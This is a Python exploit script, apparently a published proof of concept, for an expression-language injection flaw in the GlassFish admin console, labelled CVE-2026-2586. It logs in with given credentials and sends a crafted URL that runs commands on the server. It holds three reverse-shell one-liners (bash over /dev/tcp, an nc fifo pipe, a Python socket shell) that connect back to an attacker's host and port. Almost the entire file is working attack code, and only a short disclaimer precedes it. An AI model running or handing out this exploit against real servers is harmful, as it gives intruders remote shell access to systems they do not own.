#!/usr/bin/env python3 """ GlassFish EL Injection RCE - Reverse Shell (CVE-2026-2586) Usage: python3 CVE-2026-2586.py --url https://target:4848 --user --password --lhost --lport LEGAL DISCLAIMER: This proof of concept is provided for educational, research, and security purposes only. AUTHORIZED USE ONLY. Use this script only against systems you own or where you have explicit written authorization to perform security testing. DeepSecurity PerĂº does not endorse unauthorized access, exploitation, service disruption, data exfiltration, or any misuse of this information. DeepSecurity PerĂº assumes no responsibility or liability for any misuse, damage, or illegal activity resulting from the use of this proof of concept. """ import argparse import sys import base64 from urllib.parse import urljoin, quote_plus import requests LOGIN_PATH = "/common/j_security_check" PLACEHOLDER = "foobar" DEFAULT_CONFIG_PATH = "/web/configuration/virtualServerEdit.jsf?name=server&configName=server-config&alertType=success&alertSummary=%23%7b''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('bash%20-c%20%7becho%2cfoobar%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d')%7d&alertDetail=&bare=true" REVERSE_SHELLS = { "bash": "bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'", "nc2": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {lhost} {lport} >/tmp/f", "python": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'", } def build_url(base_url, config_path, cmd): b64 = base64.b64encode(cmd.encode()).decode() b64url = quote_plus(b64) replaced = config_path.replace(PLACEHOLDER, b64url) return urljoin(base_url.rstrip('/') + '/', replaced.lstrip('/')) def main(): parser = argparse.ArgumentParser(description="CVE-2026-2586 - GlassFish EL Injection RCE (Reverse Shell)") parser.add_argument("--url", required=True, help="Base URL (e.g. https://target:4848)") parser.add_argument("--user", required=True, help="Username") parser.add_argument("--password", required=True, help="Password") parser.add_argument("--lhost", required=True, help="Your IP address (LHOST)") parser.add_argument("--lport", required=True, help="Your listening port (LPORT)") parser.add_argument( "--shell", default="bash", choices=REVERSE_SHELLS.keys(), help=f"Reverse shell type (default: bash). Options: {', '.join(REVERSE_SHELLS.keys())}" ) parser.add_argument("--insecure", action="store_true", help="Do not verify TLS certificate") parser.add_argument("--verbose", action="store_true", help="Verbose output") args = parser.parse_args() command = REVERSE_SHELLS[args.shell].format(lhost=args.lhost, lport=args.lport) session = requests.Session() verify = not args.insecure if args.insecure: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) login_url = urljoin(args.url.rstrip('/') + '/', LOGIN_PATH.lstrip('/')) exploit_url = build_url(args.url, DEFAULT_CONFIG_PATH, command) try: resp = session.post( login_url, headers={ "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" }, data={ "j_username": args.user, "j_password": args.password, "loginButton": "Login", "loginButton.DisabledHiddenField": "true" }, timeout=10, allow_redirects=True, verify=verify ) if args.verbose: print(f"[*] Login: {resp.status_code}") except Exception as e: print(f"[-] Login error: {e}") sys.exit(1) try: resp = session.get( exploit_url, timeout=10, allow_redirects=True, verify=verify ) if args.verbose: print(f"[*] Exploit: {resp.status_code}") print(f"[*] URL: {resp.url}") except Exception as e: print(f"[-] Exploit error: {e}") sys.exit(1) if resp.status_code == 200 and "Login" not in resp.text[:300]: print(f"[+] Payload sent. Check your listener on {args.lhost}:{args.lport}") else: print(f"[-] Failed (HTTP {resp.status_code})") if __name__ == "__main__": main()